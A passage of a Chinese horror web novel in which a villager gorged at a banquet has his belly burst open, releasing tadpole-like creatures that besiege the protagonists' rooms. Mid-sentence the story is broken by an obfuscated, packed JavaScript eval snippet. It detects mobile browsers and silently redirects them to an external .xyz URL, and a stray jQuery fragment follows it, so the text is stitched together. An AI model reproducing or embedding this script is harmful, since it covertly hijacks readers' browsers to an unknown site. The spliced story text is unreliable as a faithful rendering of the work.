宴席到了尾声,院子里只剩下稀松疏散的几个人。
张叶青被马世军和何海洋一左一右搀扶着走了出来。
他并没有喝酒,可目前的状态却比喝得烂醉如泥的酒鬼还差。
关灵一视线落在他那高高隆起的肚皮上,短短一会儿的时间,这肚子比之前见到的又要大上不少。
衣服被撑得炸开了线,隐约可以看到紧绷的肚皮上那如同蛛网一样的血管。
像是……快要生产了一般。
张叶青的状态看得关灵一触目惊心。
她忍不住上前问了句:“……你还好吗?”
离近了她才看清对方那有些涣散的瞳孔,像是魔怔了一般。
还在打着饱嗝的张叶青提起头望向她,浮肿的脸上是极度幸福满足的微笑。
“好啊!我好得很,从来没有这么好过,我今天可算是吃饱啦!”他似乎还在回味着刚才的‘美味佳肴’,舔了舔泛着油光的唇,他道,“虽然还能再吃点,但是他们几个急着走,我也就跟着一起出来了!我刚才还看到邻桌剩了不少菜呢,要是你们几个能等等我,我还能再吃点……”
白茉莉颦着眉,有些担忧地看着他。
而马世军却是直性子,大喇喇地道:“等你一会儿就够了,别耽误吴爷爷家收拾,这么多桌席,可有的忙了。”
何海洋看着张叶青的肚子,而后拍了拍,摇头道:“再吃要撑坏了,还有好几天的席可以吃,你悠着点。”
张叶青撇撇嘴,在两人的搀扶下向着回去的路上走去。
关灵一注视着他们离开的背影,表情有些奇怪。
宋东阳问:“又在想什么呢?”
关灵一道:“你没感觉到有些奇怪吗?我们最后一次进食是在一天前,正常来说,我们应该会感觉到很饿很饿,甚至出现低血糖或者体力下降的情况,但是目前看来,我们并没有因为长时间未曾进食而出现太明显的负面状态。”
“更奇怪的是,白茉莉他们几个被同化的人,却出现了不同程度的饥饿感,尤其是张叶青,他的饥饿程度已经超出了正常范围,他快把自己撑爆了。”
宋东阳摩挲着自己的下巴道:“正常人一次性进食这么多,应该已经撑死了,他现在还活着就是一个奇迹。”
两人边走边聊着,前方的白茉莉发现他们掉队了,回过头来催促了两句。
“走快点呀,回去好好休息,晚点还要去王叔那继续干活呢!”
“好!就来就来!”关灵一高声道。
白茉莉这才没继续催促。
跟上大部队之前,关灵一最后说道:“等会回去先休息,等到他们都睡沉了,我们再出发行动。”
宋东阳比了个“OK”的手势。
“祠堂?”
关灵一点了点头,“谁先醒,就去另一方窗户边敲三下。”
“OK。”
眼见着白茉莉又有回头的迹象,关灵一赶忙大步追了上去。
“这不是来了吗!”她笑着道,亲热地拉住白茉莉的胳膊,“明天去王叔家的时候你可得喊上我一起!”
白茉莉瞥了她一眼,奇怪地道:“灵一,你好粘我啊,让我都有点不太适应了。”
关灵一厚着脸皮道:“在陌生的地方人生地不熟,还不准我跟你一起行动啊!”
白茉莉笑笑,道:“好吧好吧,那下午我走的时候喊你就是。”
一行人回到了落脚的地方。
忙了一天,所有人都有些疲倦,把张叶青安顿好,便各自回了各自的房间之中去了。
院子里很快恢复了一片死寂。
关灵一躺回床上,原本想着浅睡一会儿养精蓄锐,却没想到在床上摊煎饼翻了几遍都难以入睡,一双眼睛睁得像铜铃似的盯着屋顶。
压根睡不着。
她想了想,起身将耳朵贴到跟白茉莉公用的那面墙壁上,什么声音也没听到,对方应该是睡着了。
难不成要现在就去找宋东阳?
不过要是他跟她不一样,睡着了呢?
这样想着,关灵一将窗户打开了一条缝。
宋东阳的房间就在她的对面,如果有什么动静,她也能第一时间发现。
谁料她刚把窗户推开,就看见对面宋东阳所在房间的窗户也开了一条缝,两人对视了正着。
面面相觑一会儿后,关灵一比了个手势,同时用唇语说道:“走吗?”
宋东阳点了点头。
可就在两人准备关住窗户出门的时候,一道响动让两人霎时间停住了动作。
在灰蒙蒙的毛月亮照耀下,和宋东阳只有一墙之隔的张叶青的房门突然打开了。
他开门的动静不算小,其他人却没闻声出来,看样子睡得很沉。
关灵一将身子侧了侧,透过窗缝去看张叶青。
张叶青扶着墙,踉踉跄跄地从房间里走了出来。
他的双眼似乎涣散得更厉害了,看不见半点神光,嘴唇蠕动着,不知道是在说些什么。
一会儿过后,他终于走到了院子中央的水井处。
他费劲地摇动着辘轳手柄,看样子是想打水喝。
这时,关灵一才分辨出来他说得是什么。
“渴死我了,”张叶青一直重复着,“好渴啊,我好渴啊……”
摇了几下后,盛着水的木桶被摇了上来。
张叶青起先是拿瓢舀着喝,过了会儿,似乎是不怎么过瘾,他把瓢朝地上随便一丢,把木桶抱着放在肚皮上,咕咚咕咚对着桶喝了起来。
半桶水进肚,关灵一看着他那高耸的肚皮似乎又大了一圈。
木桶再度被扔进了水井之中。
张叶青挠着撑得有些紧绷发痒的肚皮,摇着辘轳又拉了一桶水上来。
“咕咚……”
“咕咚……”
张叶青的肚皮,已经撑到了关灵一见过的极限程度。
她看着他那薄如蝉翼的肚皮,看着他那肚皮上的蛛网般的血管,以及——
等等!
在那被撑到极限的肚皮下似乎有什么东西在蠕动,随着张叶青身体的晃动,那蠕动的东西在肚皮上撑起一个个小鼓包又快速平复,像是婴儿的小脚小手在母亲肚皮里玩耍造成的痕迹。
关灵一看着眼前的画面,脊背处涌上一阵阵寒意。
张叶青可是个男人。
他不会怀孕,肚子里也不会有婴孩。
那……他肚子里的东西又是什么呢?
关灵一猜测着。
张叶青终于喝够了水,心满意足地准备回到房间里休息。
关灵一注视着他的身影,等着他歇息后再出门。
可就在此时,张叶青忽地停下了脚步。
他面上僵硬的笑容定格,眼神中流露出一丝茫然,随后便被汹涌的痛苦所充斥。
张叶青抱着自己的肚子艰难地扶着一旁的槐树坐下,止不住地喘息着,双手不断地在肚皮上抓挠。
“肚子!我的肚子好痛!”
他凄厉地叫声在院子里回响着,关灵一差点没忍住冲出去看看他的情况,却发现哪怕在这么大的声响之下,除了宋东阳和她的几人竟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236568|180991||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然仍旧没有动静。
她下意识地看向对面宋东阳的窗户。
宋东阳面色沉重地对她摇了摇头。
他也看到了张叶青的异常。
但是目前情况特殊,不能轻举妄动。
再者,就算他们出去了,以张叶青目前的情况,他们也帮不上一丁半点的忙。
关灵一攥紧了手掌,只得在窗户后继续看着。
张叶青肚皮被撑起的弧度越来越大,那鼓包活动得频率也越来越高。
好像有什么东西,要从他的肚皮里破腔而出了。
张叶青疯狂地挠着自己的肚皮,在那极薄的皮肤上留下一道道狰狞的血痕。
随着他越发的用力,那肚皮被伤很快出现一道道血肉翻飞的裂口。
骤地,张叶青的动作停了下来。
那满足的笑容又回到了他的脸上。
他拍拍肚皮,准备起身回屋。
“吃饱喝足,睡觉睡觉!”
就在他起身的一刹那,那肚皮上深可见肉的裂口处被撑起了一大块鼓包,随后,在张叶青茫然的眼神中,那鼓包将裂口撑开。
他的肚皮像是被撑坏的塑料袋一般,里面的东西将那裂口撕裂得更大,一条条黏滑的,有人眼珠子那么大的蝌蚪形状的生物混合着鲜血喷涌而出。
张叶青的身体重重摔向地面。
“哗啦——”
那混合着血水的蝌蚪样生物落在了地上,翻滚了几下后,以极快的速度在地面上游弋扩散开来,像是能寻到人味儿似的,它们径直向着关灵一和宋东阳的房间处游动。
关灵一瞳孔微缩,意识到不对,当即把窗户紧紧合上。
随后,她拿出床上的被褥把所有缝隙处都都堵了个严丝合缝。
在她行动迅速地做完这一切后,屋外传来狂风暴雨般的击打声,有什么东西正在一次次地撞击着这房屋,试图从外面挤进来。
关灵一抵着门,心脏砰砰乱跳。
这些东西进来后会发生什么她不知道,唯一可以确定的是,那绝对不是什么好事。
“嗒嗒嗒嗒嗒嗒嗒——”
关灵一看到那堵在门缝处的被子洇开血色,整扇门被挤得吱呀作响,她现在无处可退,只能用脊背用力的抵住这门,咬紧牙关顶住。
不知道过去了多久,那声音终于变小了,门后的撞击的力度也渐渐减弱。
关灵一却丝毫不敢放松,直到一切彻底归于平静后,她才松开一点力度,将耳朵贴到那门上,聆听着外面的声音。
好像,真的没动静了?
是离开了吗?
关灵一低头看向脚下,那棉被已经完全被血染透,她用鞋尖将沉甸甸的棉被移开一点,除了血渍外,地上的确没有别的东西了。
此时,她才敢离开门边,来到窗户前,轻轻打开一道缝隙。
整个院子里如通过凶杀现场一般,被撑爆的张叶青裸露着器脏一动不动地躺在地上,四处都是那蝌蚪样的怪物蠕动爬行留下的血痕。
而宋东阳那边——
关灵一惊愕地发现,他的屋外墙上触目可及的全是混合着碎肉残渣的黏稠血液,门正大开着。
人还活着吗?
指尖嵌入掌心,传来一阵阵刺痛。
片刻后,关灵一下了决定,不管怎么样,先去看看再说。
当她离开窗户边,手刚搭在门把手上的时候,她屋子的窗户,忽地被人从外面推开了。
嘴边满是鲜血的宋东阳站在窗外正看着她。
“走吧,我们现在出发去祠堂。”